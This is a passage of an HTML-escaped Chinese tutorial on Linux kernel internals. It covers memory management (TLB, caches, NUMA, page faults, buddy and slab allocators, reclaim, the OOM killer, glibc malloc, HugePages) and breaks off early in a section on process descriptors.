&lt;li&gt;&lt;strong&gt;处理&lt;&#x2F;strong&gt;：如果已注册 Handler，内核会修改用户栈，压入信号处理函数栈帧，强行让 CPU 跳转到 Handler 执行，执行完再调用 &lt;code&gt;sigreturn&lt;&#x2F;code&gt; 回到原断点。
&lt;strong&gt;第二卷：乾坤挪移 —— 内存管理子系统 (MM)&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;本卷目标&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;祛魅&lt;&#x2F;strong&gt;：理解为什么 &lt;code&gt;top&lt;&#x2F;code&gt; 看到的 VIRT 很大但 RES 很小。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;溯源&lt;&#x2F;strong&gt;：理解一次 &lt;code&gt;malloc&lt;&#x2F;code&gt; 到底触发了多少内核机制。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;优化&lt;&#x2F;strong&gt;：掌握如何通过 HugePages、&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=267542629&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=NUMA&amp;amp;zhida_source=entity&quot;&gt;NUMA&lt;&#x2F;a&gt; 绑定和 Cache 亲和性榨干硬件性能。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-yi-zhang-ying-jian-ji-shi-the-hardware-layer&quot;&gt;&lt;strong&gt;第一章：硬件基石 (The Hardware Layer)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;内核的内存管理代码，本质上是在伺候硬件。不懂硬件特性，就看代码如看天书。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-1-mmu-yu-tlb-di-zhi-zhuan-huan-de-xing-neng-ping-jing&quot;&gt;&lt;strong&gt;1.1&lt;&#x2F;strong&gt; **&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=267542629&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=MMU&amp;amp;zhida_source=entity&quot;&gt;MMU&lt;&#x2F;a&gt;**&lt;strong&gt;与&lt;&#x2F;strong&gt; &lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=267542629&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=TLB&amp;amp;zhida_source=entity&quot;&gt;TLB&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; &lt;strong&gt;(地址转换的性能瓶颈)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;MMU (Memory Management Unit)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;CPU 核心发出的地址都是 &lt;strong&gt;虚拟地址 (Virtual Address)&lt;&#x2F;strong&gt; 。&lt;&#x2F;li&gt;
&lt;li&gt;MMU 负责查表（页表）将虚拟地址转换为 &lt;strong&gt;物理地址 (Physical Address)&lt;&#x2F;strong&gt; ，然后通过总线发给 RAM。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;TLB (Translation Lookaside Buffer)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;本质&lt;&#x2F;strong&gt;：页表存在内存里，查页表太慢（需多次访存）。TLB 是 CPU 内部的高速缓存，专门存“虚拟页-&amp;gt;物理页”的映射。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;TLB Miss&lt;&#x2F;strong&gt;：性能杀手。一旦 Miss，CPU 必须触发 Page Walk（硬件遍历页表），产生几十个时钟周期的停顿。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;TLB Shootdown&lt;&#x2F;strong&gt;：多核 CPU 的噩梦。当一个核修改了页表（如 &lt;code&gt;munmap&lt;&#x2F;code&gt;），它必须通过 IPI (核间中断) 通知其他核刷新 TLB，这会引起巨大的锁争用和延迟。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;PCID (Process-Context ID)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在旧 CPU 上，进程切换 (Context Switch) 必须清空 TLB（因为 A 进程的地址 0x1000 和 B 进程的 0x1000 对应的物理页不同）。&lt;&#x2F;li&gt;
&lt;li&gt;PCID 允许 TLB 中同时存在不同进程的条目，大幅降低了上下文切换的开销。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-2-cpu-cache-yu-cache-line&quot;&gt;&lt;strong&gt;1.2 CPU Cache 与 Cache Line&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cache Line (缓存行)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;CPU 不是按字节读取内存，而是按行。&lt;strong&gt;x86_64 通常是 64 Bytes&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;性能启示&lt;&#x2F;em&gt;：结构体定义时，如果两个高频竞争的锁放在一起（&amp;lt; 64B），会导致 &lt;strong&gt;False Sharing (伪共享)&lt;&#x2F;strong&gt; ，导致多核性能断崖式下跌。需使用 &lt;code&gt;__cacheline_aligned&lt;&#x2F;code&gt; 对齐。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;MESI 协议&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;多核之间保证缓存一致性的协议 (Modified, Exclusive, Shared, Invalid)。理解为什么 &lt;code&gt;volatile&lt;&#x2F;code&gt; 关键字在 C 语言中不足以保证并发安全（它不管缓存一致性，只管编译器不优化）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-3-numa-non-uniform-memory-access&quot;&gt;&lt;strong&gt;1.3 NUMA (Non-Uniform Memory Access)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;拓扑结构&lt;&#x2F;strong&gt;：在双路&#x2F;四路服务器上，CPU 0 访问插在 CPU 1 旁边的内存，比访问自己的内存要慢 30% 以上。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Zone Reclaim Mode&lt;&#x2F;strong&gt;：理解为什么有时候系统还有内存，但却频繁触发 Swap？因为本地节点内存不足，且内核配置为不愿去远程节点借内存。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-er-zhang-xu-ni-nei-cun-virtual-memory-the-illusion&quot;&gt;&lt;strong&gt;第二章：虚拟内存 (Virtual Memory - The Illusion)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;每个进程都以为自己独占 48 位 (256TB) 的内存空间。这是操作系统编织的最大的谎言。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-nei-cun-bu-ju-memory-layout&quot;&gt;&lt;strong&gt;2.1 内存布局 (Memory Layout)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;User Space (0 - 0x00007FFFFFFFFFFF)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Text&#x2F;Data&#x2F;BSS&lt;&#x2F;strong&gt;：ELF 加载段。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Heap&lt;&#x2F;strong&gt;：&lt;code&gt;brk&lt;&#x2F;code&gt; 指针控制的区域，向上增长。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Mmap Region&lt;&#x2F;strong&gt;：动态库、大块内存分配区，向下增长（通常在栈下方）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Stack&lt;&#x2F;strong&gt;：主线程栈，向下增长，默认 8MB (&lt;code&gt;ulimit -s&lt;&#x2F;code&gt;)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Kernel Space (0xFFFF800000000000 - ...)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Direct Mapping (直接映射区)&lt;&#x2F;strong&gt; ：物理内存的 0-64TB 直接线性映射到这里（phys_addr + PAGE_OFFSET）。内核访问物理内存极其容易。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Vmalloc Area&lt;&#x2F;strong&gt;：用于 &lt;code&gt;vmalloc&lt;&#x2F;code&gt;，虚拟地址连续但物理地址不连续（用于加载内核模块）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-2-he-xin-jie-gou-ti-mm-struct-vm-area-struct&quot;&gt;&lt;strong&gt;2.2 核心结构体：mm_struct&lt;&#x2F;strong&gt; &lt;strong&gt;&amp;amp;&lt;&#x2F;strong&gt; &lt;strong&gt;vm_area_struct&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;mm_struct&lt;&#x2F;strong&gt;：进程的内存描述符。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pgd_t * pgd&lt;&#x2F;code&gt;：指向页全局目录（页表的根）。CR3 寄存器存的就是这个物理地址。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;vm_area_struct (VMA)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;内核不记录每一页的状态，而是记录“一段连续的虚拟内存区域”。&lt;&#x2F;li&gt;
&lt;li&gt;例如：一段 VMA 是只读的代码段，一段 VMA 是可写的堆。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;数据结构演进&lt;&#x2F;strong&gt;：链表 -&amp;gt;&lt;strong&gt;红黑树 (Red-Black Tree)&lt;&#x2F;strong&gt;  -&amp;gt;&lt;strong&gt;Maple Tree (Linux 6.1+)&lt;&#x2F;strong&gt; 。随着内存越来越大，红黑树的查找也嫌慢了，最新的 Maple Tree 对范围查找进行了极致优化。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-3-que-ye-zhong-duan-page-fault-nei-cun-guan-li-de-yin-qing&quot;&gt;&lt;strong&gt;2.3 缺页中断 (Page Fault) —— 内存管理的引擎&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;当 CPU 访问一个虚拟地址，而页表中 P (Present) 位为 0 时，触发 #PF 异常，陷入内核 &lt;code&gt;do_page_fault&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;合法性检查&lt;&#x2F;strong&gt;：查找 VMA 红黑树。如果地址不在任何 VMA 内 -&amp;gt;&lt;strong&gt;SIGSEGV (段错误)&lt;&#x2F;strong&gt; 。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;权限检查&lt;&#x2F;strong&gt;：如果 VMA 是只读，你试图写 -&amp;gt;&lt;strong&gt;SIGSEGV&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Handling (处理)&lt;&#x2F;strong&gt; ：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Anonymous Page (匿名页)&lt;&#x2F;strong&gt; ：如 &lt;code&gt;malloc&lt;&#x2F;code&gt; 新申请的内存。内核分配一个物理页，全填 0 (Security)，修改页表。这叫&lt;strong&gt;Minor Fault&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;File-backed Page (文件页)&lt;&#x2F;strong&gt; ：如 &lt;code&gt;mmap&lt;&#x2F;code&gt; 一个文件。内核启动磁盘 I&#x2F;O，将文件内容读入 Page Cache，再映射到用户空间。这叫&lt;strong&gt;Major Fault&lt;&#x2F;strong&gt; (此时进程会进入 Sleep 状态)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;COW (Copy-On-Write)&lt;&#x2F;strong&gt; ：Fork 产生的只读页被写入。内核申请新物理页，拷贝数据，将页表改为可写。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-san-zhang-wu-li-nei-cun-guan-li-physical-memory-the-reality&quot;&gt;&lt;strong&gt;第三章：物理内存管理 (Physical Memory - The Reality)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;内核不仅要管理虚拟的幻象，还要管理真实的硅片。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-wu-li-xun-zhi-yu-zones&quot;&gt;&lt;strong&gt;3.1 物理寻址与 Zones&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;PFN (Page Frame Number)&lt;&#x2F;strong&gt; ：物理页号。内核用 &lt;code&gt;struct page&lt;&#x2F;code&gt; 结构体（每个结构体 64字节）管理每一个物理页。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;计算&lt;&#x2F;em&gt;：如果你的机器有 128GB 内存，&lt;code&gt;struct page&lt;&#x2F;code&gt; 数组本身就要占用约 2GB 内存 ( &lt;code&gt;128GB &#x2F; 4KB * 64B&lt;&#x2F;code&gt; )。这叫 &lt;strong&gt;Vmemmap&lt;&#x2F;strong&gt; 开销。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Zones&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ZONE_DMA&lt;&#x2F;strong&gt;: 也就是低 16MB，给老旧硬件 DMA 用。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;ZONE_NORMAL&lt;&#x2F;strong&gt;: 正常的内存。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;ZONE_MOVABLE&lt;&#x2F;strong&gt;: 可热插拔或可迁移（用于减少碎片）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-2-huo-ban-xi-tong-buddy-system&quot;&gt;&lt;strong&gt;3.2 伙伴系统 (Buddy System)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;解决问题&lt;&#x2F;strong&gt;：外部碎片 (External Fragmentation)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;原理&lt;&#x2F;strong&gt;：维护 11 个链表，分别存 1, 2, 4, 8 ... 1024 个连续页块 (Order 0 - Order 10)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;分配&lt;&#x2F;strong&gt;：申请 3 页 -&amp;gt; 找 Order 2 (4页) -&amp;gt; 拆分成 2+2 -&amp;gt; 拿走一个，剩下一个挂入 Order 1 链表。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;查看&lt;&#x2F;strong&gt;：&lt;code&gt;cat &#x2F;proc&#x2F;buddyinfo&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-3-slab-slub-fen-pei-qi&quot;&gt;&lt;strong&gt;3.3 Slab&#x2F;Slub 分配器&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;解决问题&lt;&#x2F;strong&gt;：内部碎片。内核中大量小对象（如 &lt;code&gt;task_struct&lt;&#x2F;code&gt;, &lt;code&gt;inode&lt;&#x2F;code&gt;, &lt;code&gt;dentry&lt;&#x2F;code&gt;）只有几百字节，给一整页 (4KB) 太浪费。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Slub (默认)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;从 Buddy System 申请一整页。&lt;&#x2F;li&gt;
&lt;li&gt;切成无数小块。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Per-CPU Cache&lt;&#x2F;strong&gt;：每个 CPU 有自己的空闲对象链表，分配时无锁，极快。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;实战&lt;&#x2F;strong&gt;：&lt;code&gt;slabtop&lt;&#x2F;code&gt; 命令查看内核都在缓存什么结构体。如果 &lt;code&gt;dentry&lt;&#x2F;code&gt; 占用极高，说明文件系统缓存太多。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-si-zhang-nei-cun-hui-shou-yu-oom-reclaim-oom&quot;&gt;&lt;strong&gt;第四章：内存回收与 OOM (Reclaim&lt;&#x2F;strong&gt; &lt;strong&gt;&amp;amp;&lt;&#x2F;strong&gt; &lt;strong&gt;OOM)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;出来混，迟早要还的。当物理内存耗尽时，内核必须做出残酷的决定。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-1-lru-lian-biao-yu-ye-mian-zhi-huan&quot;&gt;&lt;strong&gt;4.1 LRU 链表与页面置换&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;内核维护四条 LRU (Least Recently Used) 链表：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Active Anon&lt;&#x2F;strong&gt; (活跃匿名页)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Inactive Anon&lt;&#x2F;strong&gt; (不活跃匿名页)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Active File&lt;&#x2F;strong&gt; (活跃文件页 - Page Cache)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Inactive File&lt;&#x2F;strong&gt; (不活跃文件页)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;kswapd0&lt;&#x2F;strong&gt;：内核线程，当水位线 (Watermark) 低于 &lt;code&gt;low&lt;&#x2F;code&gt; 时唤醒，扫描 Inactive 链表。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果是 &lt;strong&gt;File&lt;&#x2F;strong&gt; 页：直接释放（Clean）或写回磁盘（Dirty）。&lt;&#x2F;li&gt;
&lt;li&gt;如果是 &lt;strong&gt;Anon&lt;&#x2F;strong&gt; 页：必须写入&lt;strong&gt;Swap 分区&lt;&#x2F;strong&gt; 才能释放。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Swappiness&lt;&#x2F;strong&gt;：&lt;code&gt;&#x2F;proc&#x2F;sys&#x2F;vm&#x2F;swappiness&lt;&#x2F;code&gt; (0-100)。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;60 (默认)：倾向于回收 File 页，也适度使用 Swap。&lt;&#x2F;li&gt;
&lt;li&gt;0：只有当 File 页很难回收时才用 Swap。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;误区&lt;&#x2F;em&gt;：设为 0 不代表禁用 Swap！只要物理内存耗尽，依然会 Swap。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;4-2-fan-xiang-ying-she-reverse-mapping-rmap&quot;&gt;&lt;strong&gt;4.2 反向映射 (Reverse Mapping - Rmap)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;难题&lt;&#x2F;strong&gt;：当内核决定回收一个物理页 P 时，可能有 10 个进程映射了它（共享库）。内核如何找到这 10 个进程的页表并把 PTE 设为 Invalid？&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Obj_rmap &#x2F; Anon_rmap&lt;&#x2F;strong&gt;：&lt;code&gt;struct page&lt;&#x2F;code&gt; 中有指针指向映射了它的 VMA 链表。这是内存回收能工作的基石，但也消耗了大量元数据空间。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;4-3-oom-killer-zhong-ji-shen-pan&quot;&gt;&lt;strong&gt;4.3 OOM Killer (终极审判)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;当 &lt;code&gt;kswapd&lt;&#x2F;code&gt; 拼命回收也无法满足新内存请求时，触发 Direct Reclaim；如果还不行，触发 OOM。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Scores&lt;&#x2F;strong&gt;：每个进程初始分 = 内存占用 (RSS)。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;OOM Score Adj&lt;&#x2F;strong&gt;：&lt;code&gt;&#x2F;proc&#x2F;&amp;lt;pid&amp;gt;&#x2F;oom_score_adj&lt;&#x2F;code&gt; (-1000 到 +1000)。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;设为 -1000：&lt;strong&gt;免死金牌&lt;&#x2F;strong&gt;（如 &lt;code&gt;sshd&lt;&#x2F;code&gt;，&lt;code&gt;systemd&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;li&gt;设为 +1000：&lt;strong&gt;优先处决&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-wu-zhang-yong-hu-tai-fen-pei-qi-glibc-malloc&quot;&gt;&lt;strong&gt;第五章：用户态分配器 (glibc malloc)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;内核只提供 &lt;code&gt;brk&lt;&#x2F;code&gt; 和 &lt;code&gt;mmap&lt;&#x2F;code&gt;，是 &lt;code&gt;glibc&lt;&#x2F;code&gt; 里的 &lt;code&gt;malloc&lt;&#x2F;code&gt; 帮我们管理了堆。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-1-arena-yu-suo-jing-zheng&quot;&gt;&lt;strong&gt;5.1 Arena 与锁竞争&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Single Heap&lt;&#x2F;strong&gt;：早期的 &lt;code&gt;malloc&lt;&#x2F;code&gt; 只有一块堆，多线程申请内存需要争抢一把大锁 (&lt;code&gt;mutex&lt;&#x2F;code&gt;)。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Arenas&lt;&#x2F;strong&gt;：现在的 &lt;code&gt;malloc&lt;&#x2F;code&gt; 为每个线程（或核心）维护独立的内存池 (Arena)。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Thread A 申请 -&amp;gt; Arena A (无锁)。&lt;&#x2F;li&gt;
&lt;li&gt;Thread B 申请 -&amp;gt; Arena B (无锁)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;内存泄漏的假象&lt;&#x2F;strong&gt;：有时候进程 &lt;code&gt;free&lt;&#x2F;code&gt; 了内存，但 OS 没看到 RSS 下降。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;原因：&lt;code&gt;free&lt;&#x2F;code&gt; 的内存归还给了 Arena 的 Bin (空闲链表)，复用给下次 &lt;code&gt;malloc&lt;&#x2F;code&gt;，并没有 &lt;code&gt;munmap&lt;&#x2F;code&gt; 还给内核（为了避免频繁系统调用）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;5-2-xing-neng-diao-you-shi-zhan&quot;&gt;&lt;strong&gt;5.2 性能调优实战&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;HugePages (大页)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;标准页 4KB。大内存应用（Oracle, Redis, DPDK）页表条目太多，导致 TLB Miss。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Transparent Huge Pages (THP)&lt;&#x2F;strong&gt; ：内核自动尝试合并为 2MB 大页。但有时会引起延迟抖动（合并过程需要锁）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Explicit Huge Pages (hugetlbfs)&lt;&#x2F;strong&gt; ：手动预留 1GB 大页，TLB 命中率 100%。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;TCMalloc &#x2F; Jemalloc&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Google 和 Facebook 为了解决 glibc malloc 的碎片和锁问题开发的替代品。高并发服务器必备。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;di-san-juan-mo-wu-sheng-xi-jin-cheng-guan-li-yu-diao-du-sched&quot;&gt;&lt;strong&gt;第三卷：万物生息 —— 进程管理与调度 (SCHED)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;本卷目标&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;解剖&lt;&#x2F;strong&gt;：深入 &lt;code&gt;task_struct&lt;&#x2F;code&gt;，看到进程的血肉。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;调度&lt;&#x2F;strong&gt;：理解 CFS 算法如何用一颗红黑树实现“绝对公平”。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;并发&lt;&#x2F;strong&gt;：看清自旋锁、互斥锁、RCU 背后的原子操作。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-yi-zhang-zhong-sheng-xiang-jin-cheng-miao-shu-fu-the-process-descriptor&quot;&gt;&lt;strong&gt;第一章：众生相 —— 进程描述符 (The Process Descriptor)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;在内核眼中，没有“QQ音乐”或“Nginx”，只有 &lt;code&gt;task_struct&lt;&#x2F;code&gt;。这是 Linux 内核中最大的结构体之一（在 x86_64 上有几千字节），记录了一个生命体的一切。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-1-task-struct-jie-gou&quot;&gt;1.1 &lt;code&gt;task_struct&lt;&#x2F;code&gt; 解构&lt;&#x2F;h3&gt;
&lt;p&gt;源码位置：&lt;code&gt;include&#x2F;linux&#x2F;sched.h&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;标识符&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pid_t pid&lt;&#x2F;code&gt;：进程 ID。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;pid_t tgid&lt;&#x2F;code&gt;：线程组 ID。&lt;strong&gt;注意&lt;&#x2F;strong&gt;：在用户态你看到的 PID，其实是内核里的 TGID。而在多线程程序中，主线程的 PID = TGID，子线程有自己独立的 PID，但共享 TGID。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
